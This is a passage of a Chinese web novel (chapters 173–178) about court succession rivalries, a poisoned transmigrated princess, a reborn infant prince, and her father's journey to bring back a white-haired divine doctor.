睿王哭丧着脸:“父皇给小七的孩子赐名辉泽,还赐封号旭麟,你说…父皇是不是真想让小七做储君啊?” “…”这踏马还用问嘛? 皇位就算不给璃王,也会是辰王,你一个草包,也敢肖想皇位? 哪儿来的脸呢? 睿王妃呵呵:“王爷,您呢,就老老实实干好自己的活,没事多去妹妹们院儿中坐坐,不要让睿王府断了香火,其他的,还是不要多想了。” 睿王一脸控诉:“你也觉得本王不如小七么?” “…”不光是我觉得,全天下都这么觉得好吗? 睿王妃用一种关爱智障的眼神看着他:“那么王爷您自己觉得,您哪里能比得过七皇弟呢?” “你敢这么说爷,爷…爷哪里不如小七了?”睿王表示不服。 睿王妃觉得,跟一个没有自知之明的人说不清楚,只能换一种说法:“七皇弟上位,至少王爷您还能做您的睿王,一生富贵,孩子也能承袭爵位。若是太子上位,王爷…妾身觉得,您可以给我们睿王府的人提前备好寿材了。” “…”好有道理,完全无法反驳。 睿王点头,完全忘记了自己的初衷:“你说得没错,小七可以上位,太子绝对不行。决定了,以后爷要帮小七,保住自己的荣华富贵!” 睿王妃:“…” … 襄王府! 夫妻俩刚运动完,趴在床上也在嘀咕着这个事。 襄王:“看来父皇是打算让小七上位了。” “显而易见!”襄王妃点头赞同,又碰了碰他的胳膊:“怎么?爷也想坐那个位置?” 襄王白了她一眼,没好气道:“爷又不是疯了,当皇帝有什么好?一辈子困在皇城,不能外出。白天起得比鸡早,晚上睡得比狗晚,没事还要伺候后宫三千个小妖精,白天还要应付一群难缠的朝臣。呵…要是过这样的日子,不出三年,爷就算不累死,也会被那些小妖精吸干精气而死!” 襄王妃嗤笑一声:“也是,你本来就不是很行,每次那么快,就我一个都吃不消,三千个,那不是要了你的命么?” “喂!”襄王不干了:“你说什么呢?这次爷可是坚持了足足半个时辰,你还不满意?” 襄王妃眼神轻蔑:“你觉得呢?” “呵呵,好好好,爷今儿个就睡服你,看你还敢不敢这么说爷。”襄王气笑了,扯过被子蒙住两人。 没一会儿,雕花木床开始剧烈摇晃起来。 … 第173章 梦回前世,清醒 晋王府! 司徒泽本人没所谓,朱妙婈怕他难过,还巴巴的跑来安慰他。 司徒泽听完她旁敲侧击的安慰,隔了好久反应过来,脑袋摇成了拨浪鼓:“不不不,本王可从没想过做皇帝,再说了,七哥那么优秀,他做皇帝本就是天经地义的事啊!” 朱妙婈呃了一声,又小心翼翼问道:“爷真不介意?” “真得不能再真了!”司徒泽坐没坐相,往自己嘴里扔着瓜子仁,一副吊儿郎当的样子:“本王呢,母族不够显赫,从小到大也没什么大志向,只想寻一红颜知己,游遍千山万水,看尽世间繁华,无忧无虑,逍遥自在!” “妾…妾身愿意做爷的红颜…”朱妙婈脱口而出,话没说完才后知后觉反应过来,这话太过大胆了些,一张脸爆红,却还是补足了最后两个字:“知己…” 司徒泽愣了愣,突然笑出声来,起身来到她面前,伸手揉了揉她的脑瓜子:“不急,爷等你长大!” “嗯…”朱妙婈羞涩的垂下头去,心里被幸福感充斥得满满当当的。 她何其有幸,才能遇到这么好的男子。 只要一想到以后能与司徒泽一起策马红尘,她就无比期待,恨不得明天就长大。 … 相比于几个心思各异的王爷,司徒澈还在日夜兼程,苦逼的赶路。 坐下的棕色骏马都不知道他换的的第几匹马了。 他必须在半月之内赶到神医谷,找神医,救女儿! “驾!” 千里绝尘,披星戴月,司徒澈继续赶路! … 唐蕊感觉自己做了一个很长的梦,梦里是熟悉的钢筋水泥,高楼大厦。 夜色降临,霓虹闪烁,她挽着妈妈的胳膊,开开心心走向街道对面的商场。 突然一辆货车奔驰而来,妈妈神色大变,反射性把她推开。 而她自己,却倒在了血泊中。 救护车的声音,医生宣告死亡的冰冷话语,葬礼上妈妈灰白的照片… 爸爸很快再娶,后妈给他生了他梦寐以求的儿子。 而她唐蕊,被剥夺继承权,被公司边缘化。 这些就算了,她并不铺张浪费,自己也算有点能力,就算做不成大小姐,也能自给自足,衣食无忧。 日子本该就这样平平淡淡过下去,可她偶然间却得知了一个真相。 妈妈的死跟爸爸脱不了关系,那场车祸,根本就是早有预谋。 不仅如此,爸爸还纵容后妈抢夺妈妈留下的嫁妆,把外公辛苦一生的研究据为己有敛财… 唐蕊彻底怒了。 过了半年,爸爸也遭遇了车祸,还是在那栋商场前,跟妈妈出事的地点一模一样! 只不过他运气好,没有死,只是成了植物人。 后妈贪墨公司的钱补不上窟窿,进了局子。 同父异母的弟弟失踪,下落不明。 那么小的孩子,还是个白白胖胖的男孩,那些偏远山村无后的大老粗可是非常喜欢的。 唐蕊,则是站在站在三十层总裁办公室的落地窗前,举着酒杯,看着楼下渺小如尘埃的行人。 良久,缓缓把红酒倒在地上。 妈妈,安息… … 唐蕊迷迷糊糊的睁开眼某,茫然的看着床幔。 不知过了多久,记忆才逐渐回笼。 是了,她早就胎穿了。 许是作恶太多,她也只多活了一年,出国旅游途中,一伙人当街抢劫,流弹打中了她,当场嗝屁! 再次睁开眼,她就变成了一个未出世的孩子,在唐娆腹中,被温暖的羊水包裹着。 往事难追啊! 她都快忘记上辈子的事了,没想到会梦到这一幕幕。 唐蕊动了动手,发现身边躺着一个什么东西。 她侧头一看,猛的瞪大眼睛。 这…哪里来的奶娃娃? 似乎察觉到了他的视线,奶娃娃此时也睁开眼眸瞅着她。 纯洁黝黑的眼眸里,一丝疑惑飞快一闪而逝,却被唐蕊敏锐的捕捉到了。 唐蕊心下一个咯噔。 这种眼神,她再熟悉不过了。 她刚从唐娆肚子里爬出来的时候,估计也是这样的眼神。 啥情况? 这奶娃娃也是穿越者? “哇…啊…”奶娃娃很快恢复正常,发出两个音节,打了个呵欠,又睡了过去。 唐蕊:“…”小东西,还想迷惑我?我会上当吗? “来人,快来人,郡主醒了!”脸生的妇人一脸惊喜,朝外面喊了一嗓子。 下一刻,容嬷嬷和幻蝶立刻跑了进来,看到她醒了,泪眼花花。 “郡主,饿不饿?膳房一直给您温着吃的,就等您醒过来呢!”容嬷嬷说着说着转过身去拭泪。 幻蝶赶紧跑出,点了个小丫头,让她去请府医。 “我只想喝点粥!”唐蕊虚弱一笑,浑身无力。 这芙蓉殇真的太厉害了。 她的赤赤这么毒,竟都有些压制不住。 “老奴这就去!”容嬷嬷赶紧照办。 幻蝶又重新回来了:“郡主,奴婢已经让人去叫府医了。” “嗯!”唐蕊应了一声:“我睡了几天?” “已经三天了,这三天几个女主子晚上都会轮流来守着您,这不,刚刚李庶妃才回去。”幻蝶来到床边,眼睛红红的:“这次郡主遭了大罪了,皇上也来看过您,回宫后,就把皇后贬为姜妃了。” 唐蕊闻言一呆:“皇后被废了?太子呢?” 幻蝶眼神一黯,摇了摇头:“太子依旧是太子。” “…”咋地?不贬留着过年啊? 不过话又说回来,她这次中招,难道是皇后的杰作? 肯定是了,不然皇帝罚她干嘛! 唐蕊无语了一瞬,又看向身边的奶娃娃:“这是…” 幻蝶笑了笑,温声开口:“这是王妃生下的小世子呀,皇上很喜欢他呢,给他赐名辉泽,赐了封号旭麟世子,还赐了封地荆州!” 唐蕊:“…”皇帝能不能不要给璃王府拉仇恨了? 取这样的名字,给这样的封号,还有荆州那么富饶地方为封地。 什么心思昭然若揭啊! 还有… “母妃呢?为何把他放在我身边哦?”唐蕊真的搞不懂啊,难道秦芷嫣心里变态了,想让她这个病患照顾奶娃娃? 第174章 到达云顶山 “小世子离开您就哭,王妃和几个主儿没办法,只能暂时把小世子放在您身边,让他挨着您。” 幻蝶说到这,又指了指刚刚嚷嚷郡主醒了的妇人:“她是小世子的奶娘,会照顾小世子的。” 潜台词,小世子只是借个地睡觉而已,您不会嫌弃他吧? 唐蕊一脸无语,又看了看身边的奶团子,搞不懂他想干嘛了。 算了,想不通的事先放到一边,唐蕊刚醒了一会儿,又有些昏昏欲睡了。 这毒真的太厉害了,怪不得是北狄剧毒之首。 打了个呵欠,唐蕊问道:“饭菜还没来吗?我好饿…” 万一睡个五六天呢,她不得饿死啊! “就来,奴婢去催催!”幻蝶言罢赶紧离开。 她刚走没多久,一个脑袋小心翼翼从屏风后面伸了出来。 这不是妙珠又是谁。 唐蕊也看到了她,笑着朝她招了招手,等她到了床前,才开口问道:“最近我昏睡着,也没去国学监,你是不是很无聊?” “没有…”妙珠眼眶红红,一个没忍住低声抽泣起来:“就是担心郡主,很担心,可奴婢手脚不利索,担心近身照顾不了郡主,一直在外间伺候着。” “…”肯定是容嬷嬷不想她近身伺候添乱,妙珠机灵是机灵,伺候人确实不怎么利索。 平时除了跟着唐蕊去国学监,也没别的事。 唐蕊心疼她年纪小,也不想让她眼底沾上奴性,就没让专人教她怎么做一个奴婢。 “对了,郡主,刚刚听说您饿了!”妙珠从怀里掏出一个热乎乎的油纸包。 一打开,六七个肉包子。 “奴婢每天都去买,要是郡主不醒,奴婢就自己吃,要是郡主醒了,就给郡主吃,郡主尝尝!” “哇哦!”唐蕊眼睛一亮,也不跟她客气,伸手想接过来。 但她浑身无力,试了好几次,抬手都费劲,最无语的是一动就会扯到伤口,疼得直抽抽! 唐蕊无奈的看着妙珠:“能喂我吃吗?我没力气。” “好!”妙珠拿起一个包子递到唐蕊嘴边。 唐蕊咬了一口,满足的眯起眼眸。 好香! 还是这家肉包子,最好吃了。 妙珠看她吃得欢快,眼圈又红了。 小郡主这次真的遭大罪了,流了那么多血,还中了毒。 也不知道是谁这么大胆子,敢伤害郡主。 似乎是闻到了包子香味,小奶娃也缓缓睁开了眼睛,忍不住口水直流。 没记错的话,这是王小二那家包子的味道。 还是这么香,好想咬一口啊! 可他现在吃不了这么美味的东西。 奶团子又吃力的转动眼珠,看向吃得欢快的唐蕊,眼底划过一丝烦躁之色。 这个莫名其妙的小女娃到底是哪里来的? 上辈子父王只有他一个儿子,并没有女儿啊! 待在唐蕊身边这么多天了,他都没听到关于唐蕊生母的事情。 还是说,他睡着了,所以错过了? 这个女娃娃,别是冒充的吧? 想到这里,小奶团眼底的烦躁之色染上了一层阴郁。 他不知道的是,唐蕊已经怀疑他了,一直都在默默注意他的眼神。 得! 这下唐蕊更确定,这货不是普通小孩子了。 就是不知道是从哪个疙瘩窝穿过来的。 幻蝶和容嬷嬷很快端着主菜进来了,看到妙珠正在喂唐蕊肉包子,差点把妙珠拖出去打一顿。 唐蕊还受着伤,不能吃那么油腻的东西啊! 妙珠一脸无措。 还好唐蕊护着她,不然容嬷嬷和幻蝶绝对不会轻易饶她。 喝完白粥,唐蕊昏昏欲睡。 容嬷嬷和幻蝶也没打扰她,替她盖好被子退了出去,幻蝶还顺手拉走杵在一边的妙珠。 没一会儿,奶娘也去了茅房。 紧闭双眼的唐蕊睁开眼眸,侧头看着身边的奶团子,缓缓伸出手指头戳了戳他的脸:“喂,起来聊聊?” 小奶团毫无反应! 唐蕊眉梢微扬,加大力道,又戳了戳他的脸。 小奶团嘴巴一瘪,突然哇哇大哭起来。 房门打开,匆匆的脚步声传来,不用猜也知道是奶娘。 唐蕊气笑了,闭上眼睛继续睡觉。 这奶团子,还跟她玩心眼呢? 行吧! 日子长着呢,总能知道你是什么成分! … 十天过去,唐蕊一天比一天漂亮,皮肤白皙得像是在发光,圆滚滚的小脸也憋了下去,变成大众能接受的瓜子脸。 她的身体一天比一天虚弱,每天醒来的时间也越来越短。 秦芷嫣要坐月子,不能亲自过来,只能每天都让徐嬷嬷来一趟。 得知唐蕊的情况,天天窝在床上默默流泪。 有了儿子,本是一件让人高兴的事。 可她的女儿…好像快要不行了… 几个女人就像是幻蝶说的那样,每晚都会轮流来照顾两个孩子。 看着唐蕊如今的样子,没一个不落泪的。 就连皇帝,听说了唐蕊的情况,又来看过她一次。 只是那个时候唐蕊在昏睡中,不能跟皇帝撒娇卖萌。 皇帝心里也很难受,虽然是个女娃娃,但却是小七的孩子,他也是真的用心疼爱的。 更别说,唐蕊很有可能和她来自一个地方,他还想着以后找机会问问唐蕊,怎么才能去那个地方。 皇帝留下长长的一声叹息,开始念自己的宝贝儿子了。 不光是他,王府里每个女人都在念司徒澈。 希望他快点回来,回来救救唐蕊! … “吁!” 十天日夜兼程,司徒澈终于到达了目的地,看着眼前这座绵延不绝的大山。 他很憔悴,光洁的下巴都长出了胡茬子。 为了抓紧时间救唐蕊,这十天来他都不曾睡过一个好觉,更别说打理自己了。 也不知道神医谷在这座山的哪里。 算了,不管如何,都要去找! 司徒澈把马系在一棵树上,拿起佩剑,只身进入大山。 丛林之中荆棘密布,树枝横生,远处还时不时响起不知名的兽鸣声。 司徒澈每走一步都要小心翼翼,生怕被尖锐的东西划伤。 他一边警惕着周围可能出现的危险,一边仔细观察着周围的环境,试图找到神医谷的线索。 第175章 什么姑娘,我都四十多岁了 然而,一个时辰过去了,两个时辰过去了…明亮的天空渐渐暗了下来。 司徒澈始终没有找到神医谷的踪迹。 倒是,杀了两只路过的野鸡,灭了一窝婴儿拳头大的蚊子。 夜色降临,司徒澈找到一处隐秘的山洞暂时休息,顺便把那两只路过的野鸡烤了,暂时果腹。 听着远处时隐时现的狼吼,他不禁开始自我怀疑。 这座荒山里,真的有神医谷吗? 不,蕊蕊竟然说这里有,那就肯定有。 司徒澈草草吃了几口,只留个个火把,熄灭火堆,离开山洞继续寻找。 准确来说,是让神医谷的人来寻他。 夜晚中的火把总是很显眼的,现在他只希望神医谷的人能看到光亮,出现在他面前。 又是半个多时辰过去,草丛里突然传来簌簌声。 司徒澈停下脚步,一手举着火把,一手不动声色握住了剑柄。 渐渐,一匹狼走出草丛,两匹…三匹……三十七匹。 不过片刻,司徒澈就被狼群包围了。 司徒澈危险的眯起眼眸,拔出了长剑,气氛也渐渐紧张起来。 就在这时,眼前的狼群退到一边,一只白额吊睛虎一步一步从黑暗中走了出来。 看到老虎,司徒澈脸色凝重。 三十几匹狼他还可以勉强应对,再加上一只老虎的话… 这个想法还没落下,老虎彻底走出草丛,司徒澈瞪大眼睛,惊讶的发现老虎背上居然还坐着一个男子。 约莫二十出头,容貌清秀,腰上挂着一个酒葫芦,正懒懒的看着他:“又来一个找死的。” 司徒澈赶紧将长剑入鞘,拱手道:“敢问阁下,是不是神医谷的人?” 男子微笑:“关卿屁事啊?” 司徒澈噎了一下,还是礼貌说道:“阁下,我无意闯入,只是小女危在旦夕,急需神医救命,在下不得不闯入此地。” 难为继续微笑:“关我屁事啊?” 司徒澈:“…”沟通不了? “我数三声,赶紧滚,不然就让大白咬你了。”男子拍了拍身上的白额吊睛虎,如此说道。 司徒澈无奈的叹了一口气:“恕难从命,今日在下必须请到神医,神医要是有什么条件,也可以提。” 男子:“三!” 司徒澈诚恳道:“阁下,人命关天,还请阁下三思。” “二!”男子掏了掏耳朵,脸上已经有了不耐之色。 “等等!”司徒澈突然想起唐蕊的奶瓶,赶紧拿下包袱,把奶瓶拿了出来:“阁下,我女儿名唐蕊,是她告诉我来云顶山找神医的。” “哈?” 男子盯着那奶瓶,愣了愣,赶紧翻身从白额吊睛虎背上滑了下来,几个闪身来到司徒澈面前,仔细打量那个奶瓶:“没错,这琉璃,这脏兮兮的奶嘴,确实是蕊蕊的,怪不得你进云顶山,山里的野兽都不找你麻烦,大白知道你来了,还特意让出了自己的山洞,原来是闻到小魔女的味儿了。” 司徒澈一脸愕然的看着那头白额吊睛虎。 原来,那山洞是这只老虎的? 老虎还特意让他? 云顶山的野兽都成精了吗? “你是璃王司徒澈?蕊蕊怎么了?”确定了奶瓶的出处,男子也确定了司徒澈的身份,有些着急了。 司徒澈如实道:“蕊蕊中了芙蓉殇,危在旦夕。” “哎呀,你怎么照顾她的呀?走走走,跟我去见师傅。”男子拉着司徒澈来到白额吊睛虎面前,催促他上去。 司徒澈:“…”骑、骑老虎吗? 这是不是有点过于嚣张了? 可…白额吊睛虎很听话,没有反抗不说,还乖乖的俯下身子,一双湛蓝色的眼睛一直盯着司徒澈手里的奶瓶,眼底满是畏惧。 司徒澈只能给面子上去,心里很是纳闷。 蕊蕊到底对这只威风凛凛的老虎做过什么?为什么老虎会露出这样的神色? 男子也翻身上虎,老虎疾驰而去,灵活的在林间穿梭。 那三十几匹狼俨然是它的小弟,纷纷跟在它后面,保驾护航。 男子笑道:“我是蕊蕊的二师兄,慕白,大白和后面狼一到狼三十七,都是蕊蕊从小到大的玩伴。” “这样啊…”司徒澈心里顿时有点不是滋味。 自己的女儿金枝玉叶,小时候居然连个朋友都没有,只能与野兽为伍。 若是…若是早点知道蕊蕊的存在就好了。 只有大白,一脸的生无可恋。 放屁! 那小魔女哪里是把它们当玩伴,分明是把它们当玩具! … 大白速度很快,不过半刻钟,就带着他们来到一处山谷中。 司徒澈翻身下虎,静静的打量的眼前的景色。 鸟语花香,气温适宜,风景优美。 五间竹屋散落在一片杏花林中,潺潺溪流蜿蜒而下,溪水清澈见底,能看到游鱼嬉戏。 再走近些,屋前屋后种满了各种草药,散发着淡淡的药香。 杏花林中,杏花正开得烂漫,粉色的花瓣随风飘落,宛如雪花般轻盈。 慕白带着司徒澈朝着最大的那间竹屋走去。 慕白刚敲了敲院门,就听到屋内传来一道烦躁的声音:“我说了,别来烦我。你要是实在无聊,就去找山上的小东西们玩儿。” 话音刚落,一位女子拉开院门,出现在司徒澈眼前。 她约莫三十出头,脸色红润,却有一头白发,只用一根红绳固定住了发梢。 看到司徒澈,她话音止住,眉头微蹙,上下打量着他:“你是…大夏璃王?” 司徒澈赶紧拱手行礼:“正是在下,敢问姑娘可是神医?” “什么姑娘,我都四十多岁了!”神医翻了个白眼,没好气道:“我可告诉你,那丫头就算杀人放火了,我也不要,自己的女儿自己照顾,别想扔给我!” “哎呀,师傅,不是这样的!”慕白没心情开玩笑:“是蕊蕊中了芙蓉殇,让璃王来求救的。” “什么?”神医怪叫一声,猛的看向司徒澈,眼神冰冷:“璃王,你也太没用了吧?连个孩子都照顾不好?” 司徒澈羞愧的垂下头去:“前辈教训的是,确实是我疏忽大意了,还望前辈救救小女,晚辈感激不尽。” 第176章 再大的私人恩怨都大不过国仇家恨 “等着!”神医退后一步关上了院儿门。 司徒澈愣住了,刚抬手想敲门,慕白就拦住了他:“师傅让你等着就等着,还有,她家的东西别乱碰,就算是门也不行,都有毒的!” 司徒澈:“…”默默缩回了爪子。 一炷香的功夫,神医又从新打开了房门,还背上了一个包袱,抬脚就走:“慕白,你看家!” “哦!”想跟上去的慕白撇撇嘴,收回了无处安放的jio。 司徒澈赶紧追了上去:“神医,您能解芙蓉殇吗?” “怎么?以为只有唐娆有金蚕蛊?”神医瞥了他一眼,很快又收回了视线,脚步不停。 司徒澈赶紧道:“晚辈不是这个意思,只是…” “别一口一个前辈的。”神医不耐烦道:“我虽然四十多岁了,但算起来是唐娆的平辈,你该叫我一声堂姐!” “是,堂姐!”司徒澈表示第一次有这么大的堂姐:“我只是听说金蚕蛊是南蛮至宝,只有一只,所以…” “所以我早就离开皇室了啊!”神医冷声吐槽:“不给我金蚕蛊,我还不能自己炼吗?倒是唐娆,她老娘抢了我老娘的皇位,我没找她麻烦就不错了,她倒好,还敢把女儿扔给我,也不怕我把她女儿毒死了。” “…”毒、你毒死谁呢? 不过话又说回来,这信息量有点大啊! 他倒是有听说,南蛮未灭的时候,上一任南蛮皇有七八个女儿,却选择了最小的女儿为皇太女。 难怪了,神医和唐娆虽是平辈,岁数越相差这么大。 毕竟女权国家,依旧是女人生孩子。 司徒澈沉吟片刻,组织了一下语言才道:“灭国之仇不能不报,阿娆扔下蕊蕊也是迫不得已。” “切,要说我,就是唐娆她老娘活该,我娘还在世时都劝过她,北狄狼子野心,不宜通商往来,还劝过她征兵扩充军营,以防北狄发难,是她自己刚愎自用,一点都听不进去。南蛮国破,北狄固然可恶,她唐风华也脱不了关系。就是…” 说到这,神医眼底一丝黯然转瞬即逝,也止住了话语。 就是可怜了南蛮那些无辜百姓! 要不是大夏皇帝仁慈,收留了一些百姓,南蛮子民估计得死光。 唐蕊也是,要不是唐娆的那句‘这是大夏璃王的孩子’,她都不会答应养孩子。 两人的老娘曾经到底是政敌,她才没那么心胸宽广! 谁知养了一年又一年,还养出来了感情。 她无儿无女,唐蕊也让她体验了一把什么叫鸡飞狗跳的养娃生活! 唉… 罢了,再大的私人恩怨都大不过国仇家恨。 唐蕊啊,也是运气好! 如果南蛮国还在的话,她对唐蕊,估计只有杀心吧! … 日升月落,斗转星移! 眨眼间,一个月的时限仅剩七日。 司徒澈本以为神医对唐娆意见很大,可却没想到,她倒是非常关心唐蕊。 哪怕嘴上说着不好听的话,行动上可一点都不马虎,一直不停的赶路。 就算他试着建议休息一会儿,神医也不听,还反过来讥讽他:“我不像某些人,一点都不担心女儿的。” 司徒澈:“…”我这不是想着,还有七日么? 现在已经距离京城很近了,完全来得及啊! 算了,事关唐蕊,快点就快点吧! 人家一个上了年纪的老妇都没喊累呢! 同一时间,璃王府! 唐蕊清醒的时间越来越少,一天十二个时辰,有十个时辰都在昏迷当中。 就算是清醒的两个时辰,也是一副随时要驾鹤西去的样子。 她那肉嘟嘟的婴儿脸彻底消失了,变成了尖细的瓜子脸,五官在芙蓉殇的侵害下,也越来越精致。 一眼看去,就像是做过微调一样。 曾经圆滚滚的肚皮早就瘪了下去,不管吃多少,都没什么用。 司徒安来看过她,楚璟川来看过她,顾楠聿知道这事后,几乎三天两头的上门。 还有几个王爷和王妃,也来过好几次。 可他们来的时候,唐蕊大多时间都在昏迷。 大家看着她日益消瘦,从一个样变成另一个样,心里很是难受。 王府里的女人们这一个月来都没笑过,一个个眼眶红红,只要轮到守夜,就会陪在唐蕊床边,眼睛一眨不眨的看着她,生怕她睡着睡着,就没了呼吸。 第二十五日,唐蕊破天荒的睡了十一个时辰,直到丑时才醒过来。 其实她一直都没说,她浑身都很痛,一天比一天痛。 身体里像是有无数只蚂蚁在啃食,烧心烧肺一般。 她知道,这是因为赤赤的毒快要压制不住芙蓉殇了。 今天第几天了来着?便宜爹爹还能赶回来吗? 师傅脾气很不好,会不会跟他走哦? 好疼… 唐蕊微拧着眉,只感觉自己的肚子里,某个器官在融化那种疼! “蕊蕊,醒了吗?要不要吃点东西?”顾若雪见她睫毛微微颤抖,小声问道。 唐蕊虚弱的摇了摇头,硬扯出一抹笑:“顾庶母,我…吃不下…” “多少吃一些吧,你不吃,哪里来力气继续撑呢?”顾若雪不由分说,让霜蓉赶紧去膳房把温着的粥端来。 唐蕊叹息一声,侧头看了看外面的天色:“第几天了…” 顾若雪听到这话心里很难过,脸上半丝不显,还温柔的对她笑:“早呢,这才过去十天,还有二十天哦。” “是吗…”为什么感觉过了好久一样。 唐蕊眼角瞟到顾若雪发红的眼眸,懂了,甜甜一笑,顺着她的话道:“那就是说…我还能…多活二十天了。” 顾若雪点点头:“对啊,所以蕊蕊,一定要坚持,王爷很快就会回来了。” “嗯呐…” 都有点坚持不下去了,好想就这么睡过去,不遭这份罪。 可她才六岁,有点不想死啊! 大脑又开始发沉了,唐蕊迷迷糊糊,再次陷入昏迷。 等霜蓉把粥端来的时候,她早已昏睡过去。 霜蓉一脸愁容:“侧妃,这…怎么办?” “放下吧!”顾若雪挥挥手,看着床上的小人儿,一行清泪滑落脸颊! 第177章 啊巴…啊…啊巴巴… 瘦了好多,以前白白胖胖小娃娃,现在就像是变了个样子。 距离一个月期限还有几天,都不知道司徒澈能不能赶回来。 要是唐蕊没了… 顾若雪只要一想到这个可能,心都要碎了。 霜蓉叹息道:“侧妃,您休息会儿吧,奴婢会好好看着郡主的。再过不久就是祭天了,到时候咱们好好求求,老天一定会开眼的。” “老天真开眼,也不会让蕊蕊遭这份罪。” 想到伤害唐蕊的罪魁祸首,顾若雪擦掉眼泪,眼神冰冷:“姜妃和东宫最近可有什么动静?” 霜蓉点点头,轻声道:“青萝前两天来消息说,姜妃一开始还经常去找皇上求情,现在像是死了心,也不找了,天天闭门不出。至于太子,因为要主持祭天一事,十分忙碌,每天早出晚归!” 青萝就是皇后办百花宴那日,太子想强迫朱妙婈不成,遭殃的那个宫婢。 她本是皇后的人,可出了事,皇后和太子不但不保她,还想让她死。 反观顾若雪这个陌生人,却愿意出言保她一命。 那之后青萝就对顾若雪充满了感激,顾若雪的在宫中的眼线一找上她,她就立刻倒戈了。 现在她是顾若雪按插在东宫的眼线,也是距离司徒霄最近的人。 没办法,东姬的事情过后,司徒霄就对后院的女人失去了兴趣,连以前很是受宠的陈姬都经常坐冷板凳。 青萝是顾若雪的人,顾若雪自然不会整她的。 所以她现在也是司徒霄的女人当中,唯一不在东姬行列的女人,司徒霄找她侍寝的次数也渐渐多了起来。 不过短短数月,她就从一个最低贱的暖床婢,晋升为普通侍妾。 “对了。”霜蓉像是想起了什么,赶紧说道:“青萝还说,陈姬这段时间天天去太子面前晃悠,两人隐隐有和好那意思。” “呵…两个男人,真恶心!”顾若雪看着沉睡的唐蕊,眼底染上恨意:“凭什么姜妃和司徒霄干了缺德事就能置身事外?而我的蕊蕊要在这里受苦?” 霜蓉眼皮一跳,心里暗道不好,赶紧开口:“可是侧妃,皇上已经惩罚过姜妃了,从一国之后贬为四妃之一,这样的惩罚对姜妃来说,真不小了。” “那又如何?我的蕊蕊要死了,姜妃凭什么还能继续做妃子?司徒霄又凭什么美妾环绕,继续做他的太子?” 顾若雪眼珠子一转,瞬间有了个主意:“霜蓉,附耳过来!” 霜蓉:“…”来了来了,疯批美人又要搞事情了。 皇后和司徒霄也是,不喜欢王爷,那就光明对付王爷去啊,干嘛要对小郡主这个半大的孩子用阴招? 不知道小郡主是她家侧妃娘娘的逆鳞吗? 霜蓉默默凑了过去。 顾若雪偏头,在她耳边说了几句。 霜蓉慢慢瞪大眼睛,见鬼一样看着顾若雪:“不、不是…主子,这法子行吗?要不咱们先等等,老天有眼,郡主对不会…” “要是真有老天爷,就该让那对母子下地狱。可事实证明,老天无眼,既然如此,我就用我自己的方式,为蕊蕊出一口恶气!” 顾若雪说罢,冷冷的看着她:“还不快去!” “是…”霜蓉被她看得头皮发麻,赶紧溜了溜了。 顾若雪静坐良久,一眨不眨的盯着床上的唐蕊。 手边的粥,渐渐凉了,可唐蕊却始终没有清醒的迹象。 倒是睡在唐蕊身边的小团子,半夜饿醒了一次,哇哇大哭。 顾若雪喊来奶娘,把孩子抱去喂奶,又回来继续守着唐蕊。 没一会儿奶娘也抱着司徒辉泽回来了,轻轻把他放在唐蕊身边。 顾若雪看着一大一小两个孩子,一颗心都软成了水,替他们盖好被子,继续守夜。 时间一分一秒过去,顾若雪也昏昏欲睡。 天蒙蒙亮的时候,外面传来下人惊喜的声音:“王爷回来啦,王爷回来啦…” 顾若雪一秒清醒,赶紧飞奔出去。 不仅是她,王府里除了还在坐月子的秦芷嫣,全都跑了出来。 看着司徒澈一步步走来,几个女人都红了眼眶。 “王爷,您可算回来了…”朱侧妃刚说一句就泣不成声。 司徒澈着急上前:“蕊蕊呢?” “在院里!”顾若雪说罢看向他身后的白发女子,惊疑不定:“这位…” “这位是大夫,我带她去看看蕊蕊!” 司徒澈一开口,几个女人也顾不上哭了,齐齐让开,并不时朝白发女投去好奇的视线。 这女子虽一头白发,但看上去却很年轻。 她,真能救蕊蕊? 抱着这个疑惑,几个女人互视一眼,也纷纷跟了上去。 司徒澈带着神医来到翠微阁,第一时间去看床上的唐蕊。 一个月不到,她就像是变了个人,瘦了好多。 嗯? 等等! 司徒澈终于注意到了唐蕊身边躺着的小包子,一脸懵逼:“这是哪里来的娃娃?” “王爷,这是您的嫡子呀,您出发的那一天…”李庶妃掩唇一笑,娓娓道来。 顾若雪等她说完,才接过话补充:“父皇已经来看过孩子了,还给他取了名字辉泽,赐封号旭麟。” “这样啊…”一时间多了个儿子,心情有点微妙。 司徒澈小心翼翼抱起司徒辉泽,仔细打量着他的眉眼。 司徒辉泽也在这个时候睁开了眼睛。 但…看到面前一脸慈祥的老父亲,司徒辉泽呆呆的眨了眨眼睛。 父王? 好像…有哪里不对! 前世的父王阴郁,沉默寡言,哪怕对他这个亲儿子,也从没笑过。 可现在却对他笑得这么慈爱。 还有… 司徒澈辉泽眼角粗粗扫了扫,心里更加震惊。 父王不是到死都坐着轮椅吗?这怎么还站起来了? 难道是他睁开眼的方式不对? 司徒辉泽闭上眼,再睁开眼。 眼前还是慈爱的老父亲。 司徒辉泽:“…”难道前世一切都是梦吗? 怎么这一世,什么都不一样了? 终于等到了老父亲,司徒辉泽不哭也不闹了,挥舞着小手,想告诉他什么。 可一张嘴,就是控制不住:“啊巴…啊…啊巴巴…” 第178章 老子不想跟你扯犊子 司徒澈哪里听得懂婴儿语,见他声音洪亮,很是健康,也放心下来,把他递给奶娘。 司徒辉泽喊得更带劲了:“啊…啊噢…啊巴巴…” 司徒澈暂时没功夫理他,心疼的看着床上的唐蕊:“蕊蕊,爹爹回来了。神医,麻烦你…” 神医进门开始,眼神就一直在司徒辉泽身上,听到司徒澈的声音,回过神来,点点头上前:“闲杂人等都出去,包括你,璃王!” 李庶妃皱眉道:“为何要出去?你真能救蕊蕊吗?” 神医不耐烦了:“出去!” “嘿…我说你这人…” “好了,我们出去吧,她不会害蕊蕊的!” 司徒澈拦住了想要发火的李庶妃,对神医道:“神医,蕊蕊拜托你了。” “知道,出去吧!”神医挥挥手。 几个女人再好奇也不会添乱,与司徒澈一起离开了屋子。 很快,屋里就剩神医和唐蕊了。 神医给唐蕊把了把脉,这才收回手,张开嘴巴。 不过片刻,一只金色的、幺指粗细的金色蚕蛹从她嘴巴里哼哧哼哧的爬了出来。 一直缠在唐蕊手腕上的赤赤像是感觉到了什么威胁,浑身一僵,嗖的一声一蹦老高,贴着墙壁瑟瑟发抖。 金色的毛毛虫似乎也看到了它,两粒豆豆眼瞬间亮了,几乎是从神医嘴里射出去,直奔赤赤。 赤赤转身就想跑,可金色毛毛虫速度更快,眨眼间就落在了小蛇头上。 赤赤浑身抖得像筛子一样,跑也不是,不跑也不是,都快哭了。 神医皱了皱眉,开口呵斥:“别什么脏东西都吃,办正事!” 